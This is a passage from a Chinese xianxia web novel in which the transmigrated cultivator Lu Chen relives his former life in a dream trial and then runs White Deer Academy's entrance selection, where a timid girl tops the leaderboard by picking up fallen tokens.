“此後每当天渊中人现世,天下间都会掀起一阵血雨腥风,哪怕是中州那些古之大帝传承,也不愿与之冲突。”
苏月仙幽幽而语,语气稍显的凝重。
她知晓夺舍陆尘气运之人一定出身不凡,却也没想到会是禁区中人。
“连圣地都逃不过吗?”
陆尘心中十分凝重,要知道那些圣地传承有多麽可怕,一举一动都能牵扯辖境之内的亿万生灵,强大如他们,竟也会被天渊来人所灭?
“你也无需太过忧心了,天渊毕竟是禁区,其中之人也不能随意出入。”
苏月仙又道。
“而且圣地也没多了不起,本尊也做得到。”
她的眸子灿若星辰,闪着亮眼的光,就好像是两只流离在外的野猫相遇,其中一只十分自信的挥舞着爪子说,跟着我肯定饿不着的。
陆尘笑了笑。
“也是。”
昔年苏月仙一人一剑,便与整个人东域为敌,若只是其中一门圣地,倒还真奈何不了她。
第三十六章 大梦一场
白鹿书院,木竹屋。
天渊一事过於深远,哪怕陆尘对此并不能轻易放下,但思虑过多,反倒成了一种负担。
如他自己所说那般,兵来将挡,水来土掩。
以自己修行的速度,或许等那稚童找上门的一天,已经是至尊之上。
当下陆尘也不再思虑这些琐事,而是盘腿而坐,闭目冥想起来。
从长孙漠遥身上,陆尘获得了三件奖励,这三件奖励皆极为不凡,丝毫不逊色於从赵栀韵身上获得的那几件。
第一件名为大梦乖离的小神通,此时正浮现在陆尘身前,散发着如梦如幻的光,令人忍不住的将目光注视到其上,直到逐渐沉沦,堕入梦境之中。
陆尘收起杂念,将心境平和,令心海如古井一般波澜不惊。
那散发着梦幻光芒的经文一闪而过,便遁入陆尘心海之中。
茫然间,陆尘亦是堕入到一片如梦如幻的世界之中。
世界虽无比朦胧,却带给陆尘一股极为异常的美感,令之不愿离去。
恍惚间,云雾缭乱之中好像藏着一只闪着亮光的瞳孔。
陆尘不受控制的漂浮过去,直到站在那瞳孔面前,才猛然感觉到一股异常。
那瞳孔之中倒映着的是无数闪过的画面,就好似自己的一生如同走马灯一般漂浮过去。
无论是前世还是今生,无论是自己的记忆还是原主的记忆,都化作一张张的画面才其中流转起来。
陆尘心开始飘摇,不自觉的跟着眼前的画面陷入回忆之中。
那些模糊了的记忆再度变得清晰,好像再一遍遍的重演一般。
“怎麽还不回来吃饭啊?都几点了?”
耳畔传来训斥的声音,听着有些陌生,但又十分耳熟。
陆尘站在公交站台下,西装革履,面色疲惫。
听到那声音的一刹那,陆尘手控制不住的一松,手机猛的摔在地上,屏幕上泛起雪花一片。
“喂!喂!喂!死孩子!长大翅膀硬了是吧。”
屏幕虽然坏了,但手机却仍在发出声音。
周遭的人都用一种诧异的目光看着陆尘,陆尘自己已经是泪流满面,抑制不住的哭泣。
“何必呢?”
“何必如此骗我呢?”
陆尘狠心挂断电话,而後自己坐在地上,倚靠着公交站台。
他想起了穿越前的场景,就是这个公交站台,就是这辆公交。
不一样的是他死在了车上,并未安全的走下公交,并未接到老妈打来的电话。
他知道这些东西是假的,是对自己道心的折磨,可陆尘就是放不下,他颓然靠在公交站台良久,直到月已高悬,最後一辆公交车也缓缓驶离。
一路上许多行人来往走过,大多带着异样的目光看着陆尘,而後便匆匆忙忙离开。
是的,这里的人们都很匆忙,没有人会去又或者说没有人有时间去关心别人。
但家人是例外。
陆尘打开被自己关机的手机,半碎的屏幕上显示了无数个未接电话。
“妈,我不回去了,你们照顾好自己。”
陆尘哽咽道。
“傻孩子你说什麽啊?是不是受老板骂了?你回家来我替你骂他,比骂人老娘还没怕过谁呢!”
电话另一头的声音十分焦急,隐约间已经有了哭腔。
“好,我们一起骂他。”
陆尘又哭又笑的说道。
“就用妈你老说的那句,叫什麽来着,去你他喵的。”
“对,去你他喵的,这班不想上咱就不去了哈。”
“好。”
陆尘最後应了一声,挂断电话,猛的将手机往前面一砸。
“去你他喵的!”
手机轰然炸开,如同
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是最炽烈的火球一般在天地之间燃烧盛放。
世间猛的崩碎,待得再复清明时,陆尘已经是站在了一只身躯无比庞大的巨兽面前。
那是条龙,左眼为日,右眼为月,陆尘先前所见的瞳孔,便是那右眼。
“烛龙?!”
陆尘心中一惊,在此界记载中,烛龙是极为强大的龙族大妖,哪怕比之真龙亦不逊色。
只是还未等他有任何别的念头,烛龙的眸子忽地一闭,下一刻,陆尘的眸子便不自觉的睁开。
“这便是大梦乖离嘛……倒是与长孙漠遥那幻瞳有异曲同工之妙。”
陆尘感悟着这道神通 ,未免有些感慨。
此神通虽无真凰血术那般滔天威势,但对於道心不定之人来说,要比真凰血术来的还要恐怖。
如今两道神通压身,陆尘自信,哪怕是与太阴境强者一战,虽不能说能胜,但起码已经是自保无虞了。
“五百年紫府修为……”
感受着心海之中的那团紫气,陆尘再度入定冥想。
紫气汹涌,哪怕被麒麟玉影吞噬了一大堆,依旧是十分磅礴。
隐约间,陆尘觉得自己快要触摸到上阳境的门槛。
修士凝气为道台,登九阶道台而筑紫府,紫府三层后,便可见一轮大日。
大日浮现,光照紫府,此即为上阳境。
此境修士,举手抬足
间已有天道之力,如一轮大日映照而下,令凡尘不敢相抗。
陆尘内视灵海,只见紫府之上,已经有了些许光亮。
“等至尊境界来杀我吗?那或许要我先去天渊了。”
陆尘手中握着一节月轮,喃喃而语。
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第三十七章 书院大选
白鹿书院,议事厅。
祭酒端坐主位,底下则是诸位长老以及书院各夫子。
陆尘亦是坐着一把交椅,并且是临近主位的那一把。
底下的长老们对此虽有些不服气,但也知晓陆尘傍上了冷月宫这条大腿,当下也并未说些什麽。
“今年来参加大选的学子,可比以往多的多啊。”
祭酒看着自己手上的名册,忍不住的抚须笑道。
每逢九月之际,各宗门书院皆会举办大选,以此来吸收新鲜血液。
由於往届大离演武白鹿书院都排在垫底之位,故而参加白鹿书院的大选人数一年要比一年少,但今年却极为反常,参加大选的人数,反而要在三院四宗之中排第一。
听得祭酒这般一说,其他长老与夫子都用一种戏谑的目光看着陆尘,并且这目光还极为猥琐的往下扫视。
陆尘嘴角一抽,被这目光看的浑身难受,好像自己是出卖了什麽东西才换来这些东西一般。
“对了,此届大典,女帝将亲临书院,也算是我白鹿书院之殊荣啊。”
祭酒又哈哈大笑着说道,已经是许久没有这般开怀了。
他也将目光落在陆尘身上,不过是那种赞许的目光。
与其他被蒙在鼓里里的长老夫子们并不相同,祭酒自然是知晓陆尘那般恐怖实力,身後想必是站着位大人物。
对於这点,祭酒也并未去细究,要知道修行中人谁没有一点自己的隐秘,有的越多,反而这个人的价值在祭酒看来便是越高。
“此届大典,由陆尘主持,诸位没有意见吧。”
祭酒又笑着说道。
陆尘此时明面上的身份已经有大离帝师以及冷月宫小白脸两层,众位长老自然也不会多说些什麽,反倒是庆幸在白鹿书院式微之际,有这麽一位男子挺身而出,献出美色保全书院。
佩服!佩服!
众人将目光再度投向陆尘,神色复杂,有些羡慕,有些鄙夷,有些赞赏,总之是五花八门。
“要是老夫晚出生个百八十年,一定跟你小子称兄道弟啊。”
散场后,王长老过来拍了拍陆尘的肩头说道。
“呵呵。”
陆尘尴尬一笑。
“我那有龙阳丹,要的话放心过来拿,不过年轻人啊,还是要节制些。”
又有一位长老走了过来,神秘兮兮在陆尘耳边说道。
“冷月宫仙子多半只是玩玩,老弟也不太放在心上,多趁仙子欢心的时候讨些好处才是正道。”
陆尘嘴角扯出的笑意更僵硬,只觉得自己好像在众人眼里变成一只年轻的鸭子,还是那种身体不太好的鸭子。
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…………
时间如白驹过隙,并未多久,便是到了大选之日。
数百万年轻学子齐聚在山峰之下,人声嘈杂,异常热闹。
陆尘与诸位长老踏着虚空台阶自山巅之处向下而行,刚一出场,便是引得本就嘈杂的人声更加沸腾。
这当然是在装,而且是特意的显摆,好让这些远道而来的考生们瞧见真正的修行之人是怎样的姿态。
要知道这数百万考生之中,只有极少数是出生名门世家,自幼可以接触修行法门与大能修士。
绝大部分,其实都只在古籍之中或者他人口中得知所谓的修行中人,如今真见着有人临空而行,气度翩翩,自然是觉得神仙人物,好不威风。
就在众人欢呼之际,又有一生有双翅的狮形妖兽拉着黄金车辇而来,只见金黄色的大道自那车辇之下缓缓展开,在天空之上留下金黄色痕迹,蔚为壮观。
车辇的帘子掀开,穿着宽大龙袍的女子自其中走出,目光眺望,落在陆尘身上。
“大离皇帝驾到,特来观礼白鹿书院!”
身旁的仆从声音有些尖锐,但又十分嘹亮,尽是将底下的嘈杂声音尽数压了下去,怎麽看也像是个修为不低的修士。
听到这一话,底下黑压压密
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密麻麻的一片忽地齐齐下跪。
他们如何见过这般阵仗,当下都是极为惊艳,只觉得无论入不入得了白鹿书院,此行都算不得是白费了。
龙袍加身,赵栀韵眉眼间已经不再是以往那般柔情似水的样子,而是多出了些许锋芒,眉眼如刀一般令人不免胆寒,不敢与之对视。
这般变化倒并不令人意外,毕竟当时家国动荡,无论是三皇子馀党还是火德宗之人,总之内忧外患加身,属实令人难以应对。
赵栀韵自然不可能像以往那般温温柔柔的处事,在这种乱麻之中,唯有雷霆手段方可自处。
只是这般的目光落在陆尘身上时,又变得十分柔和,与陆尘记忆中的模样十分相似,眸子里好似是一波秋水,明媚动人。
她缓缓向陆尘走去,其他长老也十分自觉得给彼此使了使眼色,让出陆尘身旁的位置。
二人对视一眼,相视而笑,也并未多说些什麽。
“多谢诸位少年俊杰相信白鹿书院,来参见此次大选,此次大选共分为三关,第一关为探灵脉,灵脉闭塞者将无缘修行之路,五品以上灵脉可直接入第三关,七品以上灵脉者,内院长老夫子会亲自收徒,其馀灵脉者,手握令牌上山峰之处,入第二关。”
“无论诸位最终能否入选,白鹿书院都会承包诸位的来往通行费用。”
陆尘看着手册上的内容,当下朗声说道。
他其实不太愿意在人多的地方说话,但如今数百万人齐聚,陆尘相信其中定会有气运不凡的天之骄子,这也是陆尘为什麽顶着长老们的异样目光也要主持的原因。
“祝诸位好运,到时白鹿书院一见!”
陆尘高呼一声,底下的考生们也是跟着躁动狂欢起来。
他们有的胸有成竹,因为家中早有人勘探过自身灵脉,有的则是自命不凡,觉得自己必定是人中龙凤,天之骄子,当然亦有唯唯诺诺并不自信之人,但无论何种人,在如今这喧闹环境下,都难以保持冷静。
一同欢呼雀跃着,哪怕并不知道未来的路在何方。
天边灿阳悬挂,大选也在此刻开始。
第三十八章 剑道至尊
“白鹿书院大选第一关,探灵脉!”
陆尘高声一喝,只见那山峰之下便有一座阵法运转起来,散发着纯净如水般的波动。
不少并未见过术法的考生们一时有些慌乱,也被这纯净如水的波动给安抚下来,静下心来感受着这一切。
“此阵会探测你们体内灵脉,并在你们掌心之中刻字,若掌心之中并无字样,则是灵脉闭塞。”
陆尘又说道。
灵脉乃是生灵修行之基,当年他们五人从江湖踏㣉修行界,就属陆尘灵脉最低,只有一条灵脉,堪堪可以修行。
而许端也是因此才外出寻丹药,想要替陆尘洗髓开脉,只是这一去,便不再复返,曾经形影不离生死与共的五人,也各自四散天涯,形同陌路了。
想到此处,陆尘又未免有些怒气,自己有麒麟玉在身,命格原是极重,而因为麒麟玉失,命格遭窃,这才导致灵脉只有一条,间接导致了许端之死。
“三品灵脉!”
“怎麽只有一品啊!”
“不可能不可能,我怎麽可能灵脉闭塞!”
“六品!不好意思诸位,我先行一步了。”
随着阵法的运转,阵中也出现了各般各样的声音,有人欢喜有人愁,总之是万般不一。
陆尘的武道天眼,也在打开的一刹那就闭了起来。
那重重叠叠的命格以及密密麻麻的小字浮现在自己的面前,陆尘几乎很难却分清谁是谁,哪怕是他如今的神魂凝练程度,在开眼的那一刹那也有些承受不了。
故而他此时站在山腰处,扫视着那些前往第二关的考生们。
数百万的考生中,有灵脉䭾只有数万人,而这数万人之中,又只有千人可以正式成为白鹿书院的学子。
这是个十分残酷的事实,哪怕真正的从这数百万人中脱颖而出,可在白鹿书院之中,也不过是普普通通的一员而已,若是再於冷月宫以及倚天剑堂的那些弟子相比,那又是相差更远。
当然陆尘并不觉得说最终选㣉的那一千人肯定就是最好的那一批,不然的话他大可以等这批新生㣉学了,再直接动用武道天眼去巡查这一批的新生。
数百万人里,一定会有漏网之鱼,陆尘也是坚定这一点,故而才会亲自守在此处。
赵栀韵也是出乎意料的跟在陆尘身旁,并未在半空之中俯视全场。
“夫子来此处为何?”
她有些不解的问道。
“站的太高便见众人如蝼蚁,半山腰处,看的真切些。”
陆尘随口一说,却没想到赵栀韵竟是低头沉思了起来,面色上也是有些凝重。
良久后她才抬起头,那双如水般的眸子闪着亮光。
“栀韵受教了。”
她缓缓说道。
在他人面前,赵栀韵已经习惯了自称朕,只有在陆尘面前,赵栀韵才会像以前那般温婉的长公主模样,自称为栀韵。
陆尘一愣,一时间倒也没明白赵栀韵受教了什麽,且他的目光此时死死的落在一位青年身上,也无心去理会赵栀韵所言。
赵栀韵见陆尘目光古怪,当下顺着他的目光看去,只见有位身着黑衣的青年正迈着台阶向山峰之上而去。
若说青年有何吸引人目光之处,那便是他的左手左脚皆断,皆替换成木枝支撑。
他腰身佩剑,但佩剑并无剑鞘,且是一柄木剑,好似是村口的小儿求着木匠老爹用树枝打造的一般。
这般古怪的装扮,却是令青年吸引了十足的目光,不仅是陆尘,就连周遭的考生们路过时,也不禁对青年露出异样的目光,或者是讥讽,或者是怜悯,总是都明晃晃的显露在青年脸上。
但青年并未受他们的影响,眼里好似只有千道台阶后的山峰一般,神情坚毅。
与大多的考生相比,青年的年纪显然要大上许多,几乎快到了白鹿书院最低限度的年龄要求。
总之是个十分古怪的人。
“是个可怜人。”
赵栀韵见他那假肢木剑,也不免为之叹息。
“谁说不是呢……”
陆尘也是叹道,消化着武道天眼给出的信息。
【姓名:白平安】
【年龄:二十二】
【境界:锻体三重】
【命格:紫金之色】
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【生平:出身江湖武学世家,世代学剑,对剑极为痴情,后与修行世家联姻,却惨遭遭未婚妻与家族所收养的义子联手背叛,满门被屠,而其也以断手断脚为代价,在扈从掩护之下撤离,自此後转向修行之路,发誓要成为修行大能,以此报满门被屠之仇,却没想到修行之路坎坷,连续三年被白鹿书院拒之门外,直到得遇贵人,赠其一门剑经之後,这才如潜龙离渊,一飞冲天,自此後剑挑各宗剑子,成为剑道至尊,几近帝路争锋之人。】
【近期遭遇:已经被白鹿书院淘汰两次,准备参加最後一次白鹿书院大选】
紫金之色!
这是陆尘今日第一个看到的不凡命格之人,他也没有想到,眼前这个十分古怪的青年竟然会有这般
的气运。
“不过也确实是个可怜人……”
陆尘暗自在心中叹了口气,江湖世家与修行世家联姻,这对其家族来说原本是天大的好事,却没想到直接带来了灭顶之灾。
虽然他生平只有寥寥一两行字带过这段经历,不过陆尘还是能从那简短的描述之中捕捉到一丝狗血剧情的气味。
“剑道至尊……不知奖励是否会给予剑道相关的东西……”
陆尘自顾自的念叨着。
火之大道与剑之大道一向是三千大道中最为修士所喜之道,陆尘因原先修行《大炎焚心》对火之大道有一定的感悟,但对於剑道而言,属实是个学童,只知道最简单的挥砍。
似乎是察觉到陆尘的目光始终盯着自己,那黑衣青年转过头来看向陆尘。
陆尘神色如常,眼中并未有怜悯,也并未有好奇或是讥讽。
青年愣了一愣,他已经很久没有见过这种很平淡的眼神了。
几乎所有人见到自己,要麽是轻蔑,要麽是怜悯。
这些眼神他都不想见到,他只希望旁人能把他当做个普通人去看待。
“多谢。”
青年轻声对陆尘说道,迈向山峰之巅的步伐也越发坚定。
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第三十九章 群雄逐鹿
灵脉乃是修士修行之根本,灵脉闭塞䭾相当於天生便被关上了修行这扇大门,自然无缘修行路。
而阵法运转之下,数百万人的灵脉也尽皆显现出来,其中有人欢呼雀跃,有人满脸愁容。
先显现的那批已经自山脚攀登,迈着那一眼望不到头的台阶向山峰之处而去。
山腰处门牌矗立,赫然写着白鹿书院四个大字。
过了山腰,也只不过是有了入第二关的资格,并未真正的踏入白鹿书院。
但即便如此,也足以让这些跨过门槛的考生们满脸挂着欣喜,意气风发的向着山巅而去了。
而山脚处,阵法的白光已经缓缓消散,也即代表着场中剩下之人,确实没有灵脉,无缘修行路这条坦途。
里间大多数人都叹着气,向执事领取了来往路费后,便转身离去。
也有极少数人崩溃大哭,好像天要塌了一样。
人群之中,有个少年人很特殊,他既没有转身离开,也没有脸上显露任何的悲伤痛苦神色。
他眉眼如剑,脸上有着说不清的坚毅。
少年的衣着华贵,显然是富家子弟,照理来说,富家子弟在入考前,早就会请修士探测自身灵脉,绝不会出现大老远赶来一趟,却要无功而返的场景。
但这少年面色坦然,似乎是早就知道自己身上并没有灵脉,即便如此,依旧要来上这一趟,属实是令人有些费解。
周遭的唾骂痛哭之声并未对少年有任何影响,他就是安安静静的山脚下,抬头望着那一眼望不到尽头的台阶。
“没有这身灵脉,我照样可以修行。”
他自顾自的说道,眸子里闪烁着某种异於常人的亮光。
有执事见着少年这副模样,当下也并未多说些什麽。
这些年的大考之中,已经不知见过多少神志不清的考生了,对於这种强装镇定之人,自然也不会多麽在意。
只是待得山脚下的人群缓缓离去,那少年依旧不为所动,就那麽直直的站在山脚,目光向上而视。
执事们摇了摇头,也并未多相劝什麽,当即便赶往山峰处的第二关。
大考过後不死心之人繁多,但天命如此,又岂可更改呢?
没有灵脉之人注定举步维艰,从此只能是凡俗的命。
……
山巅之处,有一道旋涡状的水镜悬浮着,考生们从执事手中接过一道玉牌,便迈入那道旋涡之中,进入另一片天地之中。
“这第二关名为群雄逐鹿,考核的是你们随机应变的实战能力,届时万馀人等通过第一关试炼的考生们将一同进入到小世界之中,你们每人手里会有一块玉牌,彼此之间可以互相抢夺,三天之内,若手中玉牌仍存在,则可进入到第三关,而通关䭾之中也会统计出玉牌数量,前三甲直接进入内院,且会有丹药秘籍等丰厚奖励。”
众位长老们都端坐在半空之中,面前皆浮现着一面水镜,折射出小世界之中的各般景象。
随着陆尘的声音在小世界之中响起,数万名考生也开始躁动起来。
有的相当自信,主动出击寻敌,有的则是畏畏缩缩,找到个隐秘的山洞藏身,想要藉此度过这三日。
“恭喜李怀玉登顶击杀榜第一。”
随着一道略有些机械的声音响起,只见那半空之中的金榜上缓缓浮现出一个名字,李怀玉,一玉牌。
“啧,这才一炷香时间不到,竟已有人拿下首杀,不错不错。”
王长老抚须笑道。
其他长老们也都点了点头,眼中流露出赞许神色,同时水镜之中,也折射出那位名叫李怀玉的少女。
少女手中持着一把长剑,长剑并不如何锋利,却是给人凌厉之感,令人不敢与之应对。
似乎是瞧见少女身上悬挂的玉牌颇多,考生们见着少女都是拔腿就跑,丝毫不敢留步。
“只是蓝色嘛……”
陆尘武道天眼显现,原以为少女第一个登榜,会是什麽命格不凡之人,却没想到只有蓝色命格。
【姓名:李怀玉】
【年龄:一十四】
【境界:锻体七层】
【命格:蓝色——修行大能】
【生平:生身修行世家,自幼天资聪颖,於修行一途颇有天赋,後於白鹿书院遇一同辈中人,二人自㣉院之时便互相争锋,亦以此砥砺自身,在此中也互生情愫,但最终因故未能成为道侣,除此外一生并无大多波折,也并未有何奇遇,仅靠修行天赋成为一方修行大能,开宗立派,终生未嫁】
【近期遭遇:一向在同辈之中从无敌手的少女碰到个棘手的同辈中人,暗自与其较劲】
少女的命格在陆尘眼中浮现,旋即陆尘又自嘲的笑了笑,什麽叫做只有蓝色命格,蓝色命格已经是一方宗师的气运,属实算的上是非凡了,只是陆尘见过那些紫色金色乃至於苏月仙的淡彩颜色后,对於这些才不再抱有那麽大的兴趣。
“不过也是个好苗子。”
陆尘暗自点了点头,在脑海之中记下这个名字,蓝色命格所获得的奖励虽然与紫色命格相差甚远,
但怎麽说也算个鸡腿了,至於黄色命格的蚊子腿,那陆尘倒并未太放在心上。
“恭喜叶玄真登顶击杀榜第一!”
就在少女一路追杀他人之时,那玉牌榜单已经悄然变化,第一又换做了他人。
只见那水镜画面一转,一白衣少年从重围之中杀出,鲜血溅在其脸上丶身上,却并未使其的脸色有任何波动,反而依旧是眯着眼,嘴角挂着浅浅笑意,全然不像是刚历经一场厮杀。
他收下一连串的玉牌,而後闭上眼睛,随手往头顶上方扔出一颗石子。
石子落地,指在北方。
少年见此,也并未犹豫,直直向北方而去。
只是还未等其走出几步,那机械声音便又是在其小世界之中响起。
“恭喜李怀玉获得击杀榜第一!”<
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叶玄真停下脚步,忽地自顾自的笑道:“有趣,有趣。”
此後的一日之中,二人的排位始终霸占着榜一榜二的位置,每隔一炷香的时间,便要交换一次,以至於小世界中的人听到这两个名字就已经是一阵头疼,忍不住的破口大骂。
小世界外的长老们对於这般局面都是十分赞赏,彼此互相看了一眼,都是忍不住的露出喜色。
“看来我们白鹿书院又要有一对双子星了啊。”
“大道虽是独行,但亦不可缺少同路之人,这二人此番争榜,来日定是此届大选中的绝代双骄,可互相砥砺进步。”
几位长老纷纷出声,对这一局面十分满意。
【姓名:叶玄真】
【年龄:一十四】
【境界:锻体七层】
【命格:蓝色】
【生平:出身世俗豪门,却并不喜经商之术,一心想要玄修,后拜㣉白鹿书院门下,与一同辈中人争锋多年,未分胜负,多年相伴,二人已各生情愫,但二人不知彼此心意,无人主动开口,直到一次外出之时,叶玄真受妖兽所袭,险些丧命,幸赖得一女子相救,方才生还,二人因此结缘,成为道侣,相伴修行,成为一方宗师,而当年白鹿书院所见少女,也终成回忆】
【近期遭遇:参与白鹿书院大选,遇到一位不相上下的同辈中人】
在武道天眼之下,叶玄真的命格也浮现在了陆尘面前,竟然神奇的与李怀玉的命格所映照。
看着二人终分道扬镳的结局,陆尘也仅是轻叹一声。
有缘无分,有缘无份。
在此之後,陆尘便并未在意二人,而是在水镜之上写下白平安的名字。
出乎陆尘的意料,白平安竟然并未出去抢夺玉牌,而是安静的躲在一处山洞之中,甚至有人闯进山洞,白平安也无动於衷,自己靠着墙壁呆呆的望着洞穴上的岩柱。
好在那闯㣉之人亦是个惜命的主,见山洞中有人便赶忙自己跑了出去。
“恭喜秦长乐夺得击杀榜第一!”
第一次,除了叶玄真以及李怀玉之外的名字出现在那金榜之上。
诸位长老与陆尘尽皆将水镜的画面转到秦长乐身上,只见画面之中,有位柔柔弱弱的女子东张西望着,好像生怕别人看到了她。
她每走两步,便发现脚底下有一块染血的玉牌,就好像玉牌铺好了一条小道,等着少女来捡一般。
而等她沿着这条小道走到尽头,视线便恍然开朗起来,只见前方的平地上,有上千具的尸体横躺在着,堪称是一片尸山血海,零零散散的玉牌散落在地,就好像随处洒落的豆子一般。
少女捂着鼻子将玉牌一块一块翻出,不知不觉间,便已经到了金榜第一的位置。
诸位长老面面相觑。
这也行?
还能这麽捡漏?
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第四十章 天命使然
长老们原以为这突然杀上排行榜的少女又是个一鸣惊人的天骄,却没想到少女单单是靠一股彷佛踩了狗屎般的运气冲到金榜第一的。
要知晓这小世界虽说不小,但毕竟数万人在其中,很容易就彼此碰到,而後互相抢夺对方的玉牌。
因这是一处幻境,死在此处,也并不会真正的死亡,故而相较起来,在此处考生们反而顾忌的不会那麽多,不会有真正对死亡的恐惧,动手也要更狠辣凌厉一些。
但少女一路走来,却是一个人都没碰着,每每是前方不远处发生一场死斗,二人精疲力尽的倒地,少女便姗姗赶来,趁巧就将那玉牌捡入怀中,这一路捡漏,捡着捡着就成了金榜第一,而且是断层式的第一,令李怀玉以及叶玄真二人难以望其项背。
“怎麽大家非要去抢令牌,这不是有这麽多可以捡的吗?”
少女一边蹑手蹑脚的收着令牌,一边喃喃自语。
秦长乐身着一袭绿衣,肌肤胜雪,容貌宛如清水芙蓉一般,娇嫩欲滴。
她的眸子晶莹透彻,但似乎是在怕别人出现,故而总向眼珠子总向四周转悠着,显得十分胆怯。
忽地有人闯入这平地之中,将蹑手蹑脚提心吊胆的少女给吓了一跳。
少女花容失色,刚想说什麽“别杀我,我这些都给你们”这般求饶的话,却没想到闯入的数人看到少女像是见鬼了一般,头也不回的慌忙逃窜。
“我很吓人嘛……”
秦长乐不明所以,但好在人跑光了,当下也是彻底松了口气。
她看了眼天色,要不了多久太阳便要落山,而三天之期的第二关也将要结束了。
“这……”
小世界外,诸位长老们一时间不知道该说什麽。
要知晓这金榜第一的名额可是有诸多好处,不仅可以直入内院,并且可以任意挑选长老或是夫子成为自己的老师,且在藏经阁以及炼药房都拥有相当高的特权,相当於被白鹿书院预订好的种子选手,将会以最高规格培养。
而眼前的少女显然并没有这个实力去匹配这麽高规格的待遇。
单看境界的话,少女甚至只有锻体三重的境界,在考生之中已经是中等偏下的水平,就连探测出的灵脉也只有堪堪两条,算的上资质较为平庸了。
但就是这麽个平庸的少女,阴差阳错,机缘巧合之下却成为了金榜第一,属实令诸位长老有些头疼。
“这妮子领先两
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百多道玉牌了,李怀玉和叶玄真不可能追上了啊。”
王长老叹了一声道。
他怎麽也想不到,这少女的运气这般惊人,不仅是捡漏捡着了第一,而且别人撞见她,也因为自行脑补而主动逃窜,这才造成如今局面。
“大局已定,此届的金榜第一是这妮子没错了。”
一向不苟言笑的张长老此时眉头微微皱起,十分严肃说道。
“金榜第一的名额是留给真正的天之骄子的,要我说,这妮子一个人没打,全靠运气使然,这金榜第一的位置,不能给她。”
“有道理,叶玄真和李怀玉累死累活的各种找人,反倒是远远落後这妮子,真要让这妮子当了第一,岂不是我白鹿书院闹了个天大的笑话。”
一时之间,长老们议论纷纷,各相争论起来,有言直接将少女的玉牌按做一个算的,也有言说将少女放在第三名,选李怀玉和叶玄真之中一人当第一的,总之是众说纷纭,谁也说服不了谁。
这般长久争论没有结果,众人只能将目光转到一言不发的陆尘身上,希望他能有个定论。
“我觉得直接将之淘汰要好。”
陆尘语出惊人,一瞬间让诸位长老傻眼。
第四十一章 长乐不乐
陆尘此话一出,诸位长老皆是面面相觑,一时间都有些愕然。
“陆夫子,这妮子虽是取巧,但也不至於就此淘汰吧。”
最终竟是一向严苛的张长老开口,为这少女求情。
“就算让她进了下一轮,以锻体三层的实力,恐怕也过不了吧。”
陆尘又道。
“这……”
诸位长老欲言又止,陆尘说的没错,以这少女不过锻体三层的实力,确实很难在最後一关通关考核。
“可无论怎样,也要给人家一个机会不是。”
张长老又道。
张长老掌管院中刑罚,最是铁面无私,如今陆尘是整个大离赤手可热的哄人,其馀长老都不敢得罪,三缄其口,唯有张长老不卑不亢,依旧为少女出声。
“那不若等她出来,亲自问她的想法吧。”
陆尘笑了笑说道。
见陆尘作出退步,张长老也不再多言,神情严苛的看着水镜之中的世界。
三天时间一晃而过,随着小世界之中的太阳落下,一道金光便在小世界之中绽放闪烁,将小世界之中仍存活的考生们送了出来。
山峰之处的广场上,幸存的考生们相拥而泣,哪怕彼此之间并不相识,也彷佛是在这一刻历经生死成为了至亲好友一般。
而秦长乐等三人站在广场的正中央,身上金光璀璨,吸引了在场所有人的目光。
“这就是金榜第一……”
“这气息有点弱啊。”
“第一名旁边那两人气息好恐怖啊……”
“那两人是疯子啊!我差点被他们杀了!”
“对,我也差点被那两人杀了!”
“那两人太疯了,倒是这第一名没见着过啊,怎麽身上这麽多道玉牌……”
随着三人身上的金光涌动,在场的考生也是纷纷议论起来,大抵都说的是那二三名属实是两个疯子,在场存活下来的一半人,都被这二人追杀过,反倒是断层夺得金榜第一的那位少女,大多数人都没见过她。
“我见过啊!当时那榜一周围全是尸体!真就是一片尸山血海!她把所有人的玉牌收起来,见到我的时候还露出那种笑,阴森森的啊!”
就在众人对榜一的那位少女疑惑时,忽地又有人说道。
“对!对!我也见着了!她也是从尸山血海里杀出来的!比那第二第三名还要狠!”
又有人赶忙附和着,此时众人才意识到,原来这看着气息微弱还有些胆怯的少女,竟然是比榜二榜三还要狠的家伙,看向少女的目光,也变得十分敬佩恐惧。
而听着耳边一阵议论的少女瞳孔瞪大,用手指了指自己。
“我?狠人?”
她有些不敢相信自己的耳朵。
什麽阴森森的笑?
自己那时候明明是唯唯诺诺讨好的笑才对,还有那些人根本就不是自己杀的,自己只是乘巧赶上去了。
少女嘴角抽搐,被众人目光盯的浑身不舒服。
她对上一人目光,想要解释些什麽,那人却是慌忙将目光偏移,不敢与之对视。
一连好多人皆是这般,对少女十分敬畏。
秦长乐叹了口气,只能将目光转向自己旁边二人,刚想说些什麽,却是看到那二人彼此对视着,眼中皆燃着团火,身上的灵气有些抑制不住的宣泄而出。
“原以为是何方神圣,不过如此。”
李怀玉撇了撇嘴,看向叶玄真道。
“小丫头片子倒有点本事。”
叶玄真呵呵一笑,眉头挑起,十分挑衅的说道。
看着剑拔弩张的二人,秦长乐更是浑身不自在,心想着是不是自己捡太多了,早知道捡少点好了。
“群雄逐鹿已毕,恭喜各位,可以参与第三关的选拔了。”
陆尘朗声而语,听到此话,场中的考生们又是一阵欢呼。
无论能否通过白鹿书院第三关的考核,这些考生也能凭藉通过白鹿书院大选第二关的资历,去到一些小门小派之中当做核心弟子培养了,对於诸多寒门弟子而言,已经算的上是不错的选择。
“祝贺以下三位考生,可直入内院,成为白鹿书院内院弟子。”
陆尘面露笑意又道。
此话一出,在场的考生们便向秦长乐三人投去艳羡目光。
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“叶玄真。”
“赵怀玉。”“
“李瀚海。”
出乎众人的意料,陆尘口中竟然并没有少女秦长乐的名字。
所有人都一头雾水,就连秦长乐李瀚海自己也是呆愣愣的,不知道发生了什麽。
听到没有自己的名字,少女呆愣两秒后,又如释重负般的吐了口气,像是心底的石头放下了一般。
总算不用承受那些奇奇怪怪的目光了,少女想着。
但她忽然又有些委屈。
凭什麽啊?
明明自己辛辛苦苦从死人堆里捡了那麽多玉牌出来,结果前三名竟然还没自己的名字。
想到此处,少女没忍住的嚎啕大哭起来,只不过少女哭的并不凄惨,像是街头未吃到糖的小孩耍着无赖一般。
众人面面相觑,一时之间都不知道发生了什麽
。
“群雄逐鹿这关,是为了考验诸位的应变能力以及实战能力,叶玄真与李怀玉入这个榜,想必大家都不会有意见,因为你们也被他二人追杀过,知晓他二人的恐怖之处,但秦姑娘身上这数百道玉牌,却无一道是从别人手中抢来的,全是地上白捡的,我说的是也不是?”
陆尘看向濠头大哭的少女,笑着问道。
少女停止哭泣,哽咽着委屈说道:“就算是捡的,那也是我自己的,我也没有偷也没有抢。”
